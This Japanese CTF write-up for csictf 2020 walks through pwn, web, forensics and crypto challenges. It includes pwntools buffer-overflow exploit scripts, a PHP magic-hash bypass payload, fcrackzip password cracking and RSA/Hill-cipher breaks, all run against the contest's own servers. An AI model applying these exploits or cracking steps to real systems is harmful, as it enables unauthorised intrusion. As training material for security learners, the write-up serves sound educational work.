csictf 2020 Writeup

この大会は2020/7/18 3:30(JST)~2020/7/22 3:30(JST)に開催されました。
今回もチームで参戦。結果は4448点で1009チーム中193位でした。
自分で解けた問題をWriteupとして書いておきます。

pwn intended 0x1 (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [44];
  int local_c;
  
  local_c = 0;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Please pour me some coffee:");
  gets(local_38);
  puts("\nThanks!\n");
  if (local_c != 0) {
    puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
    system("cat flag.txt");
  }
  return 0;
}

45バイト適当に入力してみる。

$ nc chall.csivit.com 30001
Please pour me some coffee:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Thanks!

Oh no, you spilled some coffee on the floor! Use the flag to clean it.
csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}
csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

pwn intended 0x2 (Pwn)

$ file pwn-intended-0x2 
pwn-intended-0x2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fe5fe06984f7093c9122fb1b08fb834a63784d4, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [44];
  int local_c;
  
  local_c = 0;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Welcome to csictf! Where are you headed?");
  gets(local_38);
  puts("Safe Journey!");
  if (local_c == -0x35014542) {
    puts("You\'ve reached your destination, here\'s a flag!");
    system("/bin/cat flag.txt");
  }
  return 0;
}

44バイトの後、0xcafebabeを送り込めばよい。

from pwn import *

p = remote('chall.csivit.com', 30007)
#p = process('./pwn-intended-0x2')

data = p.recvline().rstrip()
print data
payload = 'a' * 44 + p64(0xcafebabe)
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recv()
print data

実行結果は以下の通り。

[+] Opening connection to chall.csivit.com on port 30007: Done
Welcome to csictf! Where are you headed?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbe\xba\xfe�\x00\x00
Safe Journey!
You've reached your destination, here's a flag!
csictf{c4n_y0u_re4lly_telep0rt?}
[*] Closed connection to chall.csivit.com port 30007
csictf{c4n_y0u_re4lly_telep0rt?}

pwn intended 0x3 (Pwn)

$ file pwn-intended-0x3 
pwn-intended-0x3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=65cafe283997ada7631398451f05273dd0002567, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_28 [32];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Welcome to csictf! Time to teleport again.");
  gets(local_28);
  return 0;
}

void flag(void)

{
  puts("Well, that was quick. Here\'s your flag:");
  system("cat flag.txt");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
$ gdb -q pwn-intended-0x3
Reading symbols from pwn-intended-0x3...(no debugging symbols found)...done.
gdb-peda$ p &flag
$1 = (<text variable, no debug info> *) 0x4011ce <flag>
from pwn import *

p = remote('chall.csivit.com', 30013)
#p = process('./pwn-intended-0x3')

data = p.recvline().rstrip()
print data
payload = 'a' * 40 + p64(0x4011ce)
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recv()
print data

実行結果は以下の通り。

[+] Opening connection to chall.csivit.com on port 30013: Done
Welcome to csictf! Time to teleport again.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@\x00\x00\x00
Well, that was quick. Here's your flag:
csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}
[*] Closed connection to chall.csivit.com port 30013
csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}

Cascade (Web)

HTMLソースを見る。リンクされているcssを見ると、コメントにフラグが書いてあった。

csictf{w3lc0me_t0_csictf}

Oreo (Web)

Cookieを見ると、flavourにc3RyYXdiZXJyeQ%3D%3Dとセットされている。base64デコードしてみる。

$ echo c3RyYXdiZXJyeQ== | base64 -d
strawberry

ページの内容から考えると、chocolateのbase64文字列をセットすればよさそう。

$ echo -n chocolate | base64
Y2hvY29sYXRl

この文字列をクッキーのflavourにセットして、リロードすると、フラグが表示された。

csictf{1ick_twi5t_dunk}

Warm Up (Web)

問題のページにはコードが表示される。

<?php

if (isset($_GET['hash'])) {
    if ($_GET['hash'] === "10932435112") {
        die('Not so easy mate.');
    }

    $hash = sha1($_GET['hash']);
    $target = sha1(10932435112);
    if($hash == $target) {
        include('flag.php');
        print $flag;
    } else {
        print "csictf{loser}";
    }
} else {
    show_source(__FILE__);
}

?>

一見10932435112以外でハッシュ値が同じ文字列を指定する必要があるように見える。

>>> import hashlib
>>> hashlib.sha1('10932435112').hexdigest()
'0e07766915004133176347055865026311692244'

ハッシュ値は0e07766915004133176347055865026311692244で、phpで0exxxの場合、0のべき乗という意味にできるので、0と同様になる。sha1が0eから始まり、数字だけになる他の文字列を指定できればよい。
https://offsec.almond.consulting/super-magic-hash.htmlからこの条件を満たす情報を得る。
例えば、"&O&GKtn&54xQ" を試す。&が入っているので、URLエンコードする。

%26O%26GKtn%2654xQ

http://chall.csivit.com:30272/?hash=%26O%26GKtn%2654xQにアクセスすると、フラグが表示された。

csictf{typ3_juggl1ng_1n_php}

Mr Rami (Web)

http://chall.csivit.com:30231/robots.txtにアクセスする。

# Hey there, you're not a robot, yet I see you sniffing through this file.
# SEO you later!
# Now get off my lawn.

Disallow: /fade/to/black

http://chall.csivit.com:30231/fade/to/blackにアクセスすると、フラグが表示された。

csictf{br0b0t_1s_pr3tty_c00l_1_th1nk}

Gradient sky (Forensics)

$ strings sky.jpg | grep csictf
csictf{j0ker_w4snt_happy}
csictf{j0ker_w4snt_happy}

Archenemy (Forensics)

$ file arched.png 
arched.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 1920x1080, frames 3
$ mv arched.png arched.jpg

パスワードなしでsteghideを試してみる。

$ steghide extract -sf arched.jpg 
Enter passphrase: 
wrote extracted data to "flag.zip".

zipファイルを抽出できたので、解凍する。

$ unzip flag.zip
Archive:  flag.zip
[flag.zip] meme.jpg password: 
   skipping: meme.jpg                incorrect password

パスワードがかかっているので、クラックする。

$ fcrackzip -u -D -p dict/rockyou.txt flag.zip 


PASSWORD FOUND!!!!: pw == kathmandu

このパスワードで解凍する。

$ unzip -P kathmandu flag.zip 
Archive:  flag.zip
  inflating: meme.jpg

meme.jpgにフラグが書かれていた。
f:id:satou-y:20200727202724j:plain

csictf{1_h0pe_y0u_don't_s33_m3_here}

Rivest Shamir Adleman (Crypto)

nを素因数分解する。

p = 15485863
q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137

あとは通常通り復号する。

from Crypto.Util.number import *

n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231
e = 65537
c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

p = 15485863
q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}

The Climb (Crypto)

コードの処理の概要は以下の通り。

keyの長さはある数値の2乗になっている。
sizeはkeyの長さの2乗根

■keyconv
・kmatrix: size×sizeの行列にして、アルファベット小文字のインデックスにする。

■div
・textの長さがsizeの倍数でなければ、'x'でパディングする。
・sizeバイトごとに以下を実行
 ・purf(substr)
  ・textconv(substr)
   tmatrix: アルファベット小文字のインデックスの配列に変換
  ・multiply(substr.length())
   rmatrix: 行ごとのkmatrixとtmatrixを掛け算して足し算して26で割ったあまりの配列
  ・res(text.length())
   配列を文字にして出力する。

処理はHill暗号と同様。keyはコード中の記載であっているようなので、逆行列を使って、元の文字列を復号する。

#!/usr/bin/env sage
from string import lowercase

def pad(s):
    p = 9 - len(s) % 9
    return s + 'a' * p

def str_to_matrix(s):
    M = []
    for i in range(3):
        row = []
        for j in range(3):
            row.append(lowercase.index(s[i + j * 3]))
        M.append(row)
    return M

def matrix_to_str(M):
    s = ''
    for i in range(3):
        for j in range(3):
            s += lowercase[M[j][i]]
    return s

key = 'gybnqkurp'
ct = 'lrzlhhombgichae'

K = []
c = 0
for i in range(3):
    row = []
    for j in range(3):
        row.append(lowercase.index(key[c]))
        c += 1
    K.append(row)

K = matrix(Zmod(26), K)

pad_ct = pad(ct)

flag = ''
for i in range(0, len(pad_ct), 9):
    c = pad_ct[i:i+9]
    C = str_to_matrix(c)
    C = matrix(Zmod(26), C)
    P = K.inverse() * C
    flag += matrix_to_str(P)

flag = flag[:len(ct)].rstrip('x')
flag = 'csictf{%s}' % flag
print flag
csictf{hillshaveeyes}

Modern Clueless Child (Crypto)

3バイトごとに"f"があり、それ以外は"f"がなく、ASCIIコードになっていそう。"f"区切りのコードでkeyでXORを取ってみる。

ct = '52f41f58f51f47f57f49f48f5df46f6ef53f43f57f6cf50f6df53f53f40f58f51f6ef42f56f43f41f5ef5cf4e'
ct = ct.split('f')

key = '12123'

flag = ''
for i in range(len(ct)):
    flag += chr(int(ct[i], 16) ^ ord(key[i%len(key)]))
print flag
csictf{you_are_a_basic_person}

little RSA (Crypto)

nを素因数分解する。

$ python -m primefac 64741
64741: 101 641

あとは通常通り復号する。

from Crypto.Util.number import *

c = 32949
n = 64741
e = 42667
p = 101
q = 641

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print m

復号結果は以下の通り。

18429

この復号結果をパスワードにしてflag.zipを解凍すると、展開されたファイルにフラグが書いてあった。

csictf{gr34t_m1nds_th1nk_4l1ke}

Quick Math (Crypto)

e=3と推測して、Hastad's broadcast attackで復号する。復号した数値をhex文字列としてデコードすると、フラグになる。

import functools
from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    assert pow(m, e) == c
    return m

n1 = 86812553978993
n2 = 81744303091421
n3 = 83695120256591
c1 = 8875674977048
c2 = 70744354709710
c3 = 29146719498409

N = [n1, n2, n3]
C = [c1, c2, c3]
e = len(N)
a = chinese_remainder(N, C)
for n, c in zip(N, C):
    assert a % n == c
m = inv_pow(a, e)

flag = str(m).decode('hex')
flag = 'csictf{%s}' % flag
print flag
csictf{h45t4d}